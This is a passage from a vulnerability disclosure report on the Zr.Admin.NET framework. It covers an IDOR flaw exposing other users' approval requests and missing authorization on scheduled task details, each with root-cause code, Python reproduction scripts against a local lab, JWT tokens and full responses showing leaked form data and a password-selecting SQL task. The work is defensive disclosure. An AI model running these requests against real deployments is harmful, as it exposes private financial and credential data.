"content": "<p>CFO salary 480000, bank account 6222 0000 1111 2222</p>",
"userId": 1,
"status": null,
"editorType": null,
"tags": null,
"hits": 0,
"categoryId": 0,
"createTime": "2026-11-13 20:52:12",
"updateTime": null,
"authorName": "admin",
"coverUrl": null,
"categoryNav": null,
"tagList": [],
"isPublic": 1,
"abstractText": "CFO salary 480000, bank account 6222 0000 1111 2222",
"isTop": 0,
"articleType": 0,
"praiseNum": 0,
"commentNum": 0,
"shareNum": 0,
"coverImgList": [],
"position": "Reserved",
"isPraise": 0,
"topicId": 0,
"topicName": null,
"user": {
"avatar": null,
"nickName": "管理员",
"sex": 0
},
"auditStatus": 1,
"commentSwitch": 0
}
}
low1 then pins the article, which belongs to the administrator:
r = requests.put(f"{B}/front/article/top", headers=low, json={"cid": 1, "isTop": 1})
print("top ->", r.status_code, r.text.strip())
top -> 200 {
"code": 200,
"msg": "success",
"data": 1
}
4. IDOR Exposes Other Users’ Approval Requests (CVE-2026-129454)
| Brief description: | A user with an account can read the approval requests of others, including form contents and approval records. |
|---|---|
| Affected versions: | 85cff6ae (2026-08-01) to eb9228a2 (2026-10-22) |
| Introduced in: | Zr.Admin.NET commit 85cff6ae |
| Preconditions: | The instance has approval requests started by other users. |
Root Cause
WfFlowInstanceController.GetInfo only carries common:
// ZR.Workflow/Controllers/WfFlowInstanceController.cs:48-58 commit eb9228a230
/// <summary>
/// 实例详情
/// </summary>
[HttpGet("{instanceId}")]
[ActionPermissionFilter(Permission = "common")]
public IActionResult GetInfo(long instanceId)
{
// viewerId=当前登录用户,用于详情页按节点字段权限过滤表单(申请人/历史实例全放开)
var viewerId = HttpContext.GetUId();
return SUCCESS(_service.GetInfo(instanceId, viewerId));
}
The service loads the instance by InstanceId; viewerId only drives field masking and plays no part in whether the instance may be viewed:
// ZR.Workflow/Service/WfFlowInstanceService.cs:173-176 commit eb9228a230
public WfFlowInstanceDto GetInfo(long instanceId, long? viewerId = null)
{
var inst = Queryable().First(i => i.InstanceId == instanceId);
if (inst == null) return null;
ApplyFieldPermission only decides which fields are read-only or hidden, and does not decide whether the viewer may open the instance. When the instance is not under approval, all fields are released; when it is under approval and the current node configures no field permission, AllEditable is set to true as well (WfFlowInstanceService.cs:488-493, :531-537). Part of the method is:
// ZR.Workflow/Service/WfFlowInstanceService.cs:475-493 commit eb9228a230
private void ApplyFieldPermission(WfFlowInstanceDto dto, WfFlowInstance inst, long? viewerId)
{
if (inst == null || dto == null) return;
var view = new WfFieldPermissionView();
// 申请人本人 → 可编辑全部字段
if (viewerId.HasValue && inst.ApplyUserId.HasValue && inst.ApplyUserId.Value == viewerId.Value)
{
view.AllEditable = true;
dto.FieldPermissionView = view;
return;
}
// 非审批中实例 / 未传入查看者 → 历史直接放开(全可见只读)
if (!viewerId.HasValue || inst.Status != (int)WfInstanceStatus.Approval)
{
dto.FieldPermissionView = view;
return;
}
Instance ids are an auto-increment primary key and can be enumerated in ascending order.
Reproduction Environment
The lab of section 1 is reused. The workflow module is enabled by ModuleInit:Workflow. Before each reproduction run docker compose down -v to drop the volumes, then initialize again as in section 1.
Reproduction
The administrator creates a flow definition and starts an approval request:
import json, requests
B = "http://127.0.0.1:1888"
admin = {"Authorization": f"Bearer {login('admin', '123456')}"}
flow = {"flowCode": "expense", "flowName": "Expense approval", "formType": 0, "designType": 2,
"status": 1, "isDraft": 0,
"formItems": json.dumps([{"field": "reason", "label": "Reason", "type": "input"},
{"field": "account", "label": "Bank account", "type": "input"}]),
"nodes": [{"nodeName": "Start", "nodeType": 0, "nodeOrder": 1},
{"nodeName": "Approve", "nodeType": 1, "approverType": 0, "approverId": "1",
"approverNames": "admin", "signType": 0, "nodeOrder": 2},
{"nodeName": "End", "nodeType": 3, "nodeOrder": 3}],
"nodeLinks": [{"sourceNodeId": 1, "targetNodeId": 2}, {"sourceNodeId": 2, "targetNodeId": 3}]}
r = requests.post(f"{B}/workflow/definition", headers=admin, json=flow)
print("admin POST /workflow/definition ->", r.status_code, r.json()["code"])
flows = requests.get(f"{B}/workflow/definition/list", headers=admin,
params={"pageNum": 1, "pageSize": 10}).json()["data"]["result"]
fid = [f["flowId"] for f in flows if f["flowCode"] == "expense"][0]
r = requests.post(f"{B}/workflow/instance/start", headers=admin, json={
"flowId": fid, "title": "Executive reimbursement",
"formContent": json.dumps({"reason": "Board trip",
"account": "6222 0000 1111 2222, password 9911"})})
print("admin POST /workflow/instance/start -> instanceId =", r.json()["data"])
Output:
admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImZmNTU1ZjQyYTQ3ZTQwMzZiMzIxNjBjYjY5OGExMTg2XCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ1NzQzNzMsImV4cCI6MTc5NDY2MDc3MywiaWF0IjoxNzk0NTc0MzczLCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.3DvU0I6XbLCeozY7gSYbPySv65FveQ7UTb5dU609Dnk
low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiNTVjNzYwYTBhZDk0NGRlYWE5MzI2ZTFjZDZmZDI5MWRcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0Mzc0LCJleHAiOjE3OTQ2NjA3NzQsImlhdCI6MTc5NDU3NDM3NCwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.aZlZJx-feWQMO4BWEVYDVajPsW1W9gsgifHngyjhuno
admin POST /workflow/definition -> 200 200 success
admin POST /workflow/instance/start -> instanceId = 1
low1 reads the instance:
low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"}
r = requests.get(f"{B}/workflow/instance/1", headers=low)
print(r.status_code, r.text)
200 {
"code": 200,
"msg": "success",
"data": {
"instanceId": 1,
"flowId": 1,
"flowName": "Expense approval",
"businessKey": null,
"title": "Executive reimbursement",
"applyUser": "admin",
"applyNickName": "管理员",
"status": 0,
"currentNodeId": 2,
"currentNodeIds": "[2]",
"currentNodeName": "Approve",
"approvers": null,
"formContent": "{\"reason\": \"Board trip\", \"account\": \"6222 0000 1111 2222, password 9911\"}",
"fieldPermissionView": {
"allEditable": true,
"readonlyFields": [],
"hiddenFields": []
},
"attachment": null,
"attachmentParsed": "[]",
"lastUrgeTime": null,
"tasks": [
{
"taskId": 1,
"instanceId": 1,
"nodeId": 2,
"nodeName": "Approve",
"assignee": "admin",
"assigneeNickName": "管理员",
"assigneeId": 1,
"delegateId": null,
"delegateName": null,
"status": 0,
"opinion": null,
"action": null,
"taskType": 0,
"isRead": false,
"handleTime": null,
"title": null,
"applyUser": null,
"applyNickName": null,
"flowName": null,
"instanceStatus": 0,
"createBy": "admin",
"createTime": "2026-11-13 12:52:55",
"updateTime": null,
"remark": null
}
],
"records": [
{
"recordId": 1,
"taskId": null,
"instanceId": 1,
"nodeId": null,
"nodeName": null,
"title": null,
"flowName": null,
"applyUser": null,
"applyNickName": null,
"instanceStatus": 0,
"operator": "admin",
"operatorNickName": "管理员",
"action": 0,
"isRead": false,
"opinion": "发起申请",
"summary": null,
"createBy": "admin",
"createTime": "2026-11-13 12:52:55",
"updateTime": null,
"remark": null
}
],
"createBy": "admin",
"createTime": "2026-11-13 12:52:55",
"updateTime": null,
"remark": null
}
}
low1 reads the approval record list as well:
r = requests.get(f"{B}/workflow/record/list", headers=low, params={"pageNum": 1, "pageSize": 5})
print(r.status_code, r.text)
200 {
"code": 200,
"msg": "success",
"data": {
"pageSize": 5,
"pageIndex": 1,
"totalNum": 1,
"totalPage": 1,
"result": [
{
"recordId": 1,
"taskId": null,
"instanceId": 1,
"nodeId": null,
"nodeName": null,
"title": "Executive reimbursement",
"flowName": "Expense approval",
"applyUser": "admin",
"applyNickName": "管理员",
"instanceStatus": 0,
"operator": "admin",
"operatorNickName": "管理员",
"action": 0,
"isRead": false,
"opinion": "发起申请",
"summary": null,
"createBy": null,
"createTime": "2026-11-13 12:52:55",
"updateTime": null,
"remark": null
}
],
"extra": {}
}
}
5. Missing Authorization on Scheduled Task Details (CVE-2026-129466)
| Brief description: | A user with an account can read the full configuration of scheduled tasks, including the statements stored in SQL tasks. |
|---|---|
| Affected versions: | 1845017b (2021-08-23) to eb9228a2 (2026-10-22) |
| Introduced in: | Zr.Admin.NET commit 1845017b |
| Preconditions: | The attacker holds an account. |
Root Cause
TasksController.Get has no [ActionPermissionFilter], so it can be called after login:
// ZR.Admin.WebApi/Controllers/System/TasksController.cs:147-156 commit eb9228a230
/// <summary>
/// 查询单个计划任务
/// </summary>
/// <param name="id">编码</param>
/// <returns></returns>
[HttpGet("get")]
public IActionResult Get(string id)
{
if (!string.IsNullOrEmpty(id))
{
return SUCCESS(GetTaskById(id));
}
return SUCCESS(0);
}
List, create, update, delete and run in the file all carry monitor:job:* permissions (TasksController.cs:127, :164, :205, :250, :327), and Get was missed. GetTaskById returns the whole SysTasks row, with the fields AssemblyName, ClassName, Cron, SqlText and JobParams.
Reproduction Environment
The lab of section 1 is reused. Before each reproduction run docker compose down -v to drop the volumes, then initialize again as in section 1.
Reproduction
The administrator creates an SQL scheduled task and runs it:
import requests
B = "http://127.0.0.1:1888"
admin = {"Authorization": f"Bearer {login('admin', '123456')}"}
r = requests.post(f"{B}/system/Tasks/create", headers=admin, json={
"name": "nightly-report", "jobGroup": "default", "cron": "0 0 2 * * ?", "taskType": 3,
"assemblyName": "ZR.Tasks", "className": "TaskScheduler.Job_SqlExecute",
"sqlText": "select UserName,Password from sys_user where UserId=1"})
print("admin POST /system/Tasks/create ->", r.status_code, r.text.strip())
tasks = requests.get(f"{B}/system/Tasks/list", headers=admin,
params={"pageNum": 1, "pageSize": 20}).json()["data"]["result"]
tid = [t["id"] for t in tasks if t["name"] == "nightly-report"][0]
print("task id =", tid)
r = requests.get(f"{B}/system/Tasks/run", headers=admin, params={"id": tid})
print("admin GET /system/Tasks/run ->", r.status_code, r.text.strip())
admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcIjQ5ZGQ3ODEyYjcyNTQzNmViY2M2NzkzZmU3NTIxYzcyXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ2NDI2NDUsImV4cCI6MTc5NDcyOTA0NSwiaWF0IjoxNzk0NjQyNjQ1LCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.ule4XLd4hhfh5UvH2A6LaHYZieJCAMqp7sfimzREn_c
low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiNjQ2ZDJlOThhMGI1NGIyYWE3Y2E1NzMxNzAyZjE2NGZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NjQyNjQ2LCJleHAiOjE3OTQ3MjkwNDYsImlhdCI6MTc5NDY0MjY0NiwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.8yNMns8KT4WIzTzP9BCc-rDwIzonPHUdtuEz7uGwGmY
admin POST /system/Tasks/create -> 200 {
"code": 200,
"msg": "success",
"data": 1
}
task id = 2121511140147204096
admin GET /system/Tasks/run -> 200 {
"code": 200,
"msg": "运行计划任务:【nightly-report】成功"
}
low1 can read the task id through GET /monitor/jobLog/list:
time.sleep(3)
low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"}
r = requests.get(f"{B}/monitor/jobLog/list", headers=low, params={"pageNum": 1, "pageSize": 1})
print(r.status_code, r.text)
low1 GET /monitor/jobLog/list -> 200 {
"code": 200,
"msg": "success",
"data": {
"pageSize": 1,
"pageIndex": 1,
"totalNum": 1,
"totalPage": 1,
"result": [
{
"jobLogId": 1,
"jobId": "2121511140147204096",
"jobName": "nightly-report",
"jobGroup": "default",
"status": "0",
"exception": null,
"jobMessage": "success",
"invokeTarget": "SqlExecute",
"tenantId": "0",
"createTime": "2026-11-14 15:50:47",
"elapsed": 11.9025,
"serverName": null,
"operator": "admin",
"traceId": "0HNQ24FTTQPDN:00000001",
"isManual": 1,
"triggerSource": "manual"
}
],
"extra": {}
}
}
low1 reads the detail by task id:
low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"}
r = requests.get(f"{B}/system/Tasks/get", headers=low, params={"id": "2121511140147204096"})
print(r.status_code, r.text)
low1 GET /system/Tasks/get -> 200 {
"code": 200,
"msg": "success",
"data": {
"id": "2121511140147204096",
"name": "nightly-report",
"jobGroup": "default",
"cron": "0 0 2 * * ?",
"assemblyName": "ZR.Tasks",
"className": "TaskScheduler.Job_SqlExecute",
"runTimes": 1,
"beginTime": null,
"endTime": null,
"triggerType": 0,
"intervalSecond": 0,
"isStart": 0,
"jobParams": null,
"lastRunTime": "2026-11-14 15:50:47",
"lastSuccessTime": "2026-11-14 15:50:47",
"lastFailTime": null,
"lastRunStatus": "0",
"lastErrorMsg": null,
"tenantId": "0",
"apiUrl": null,
"taskType": 3,
"sqlText": "select UserName,Password from sys_user where UserId=1",
"requestMethod": null,
"createBy": "admin",
"createTime": "2026-11-14 07:50:46",
"updateTime": "2026-11-14 07:50:47",
"remark": null
}
}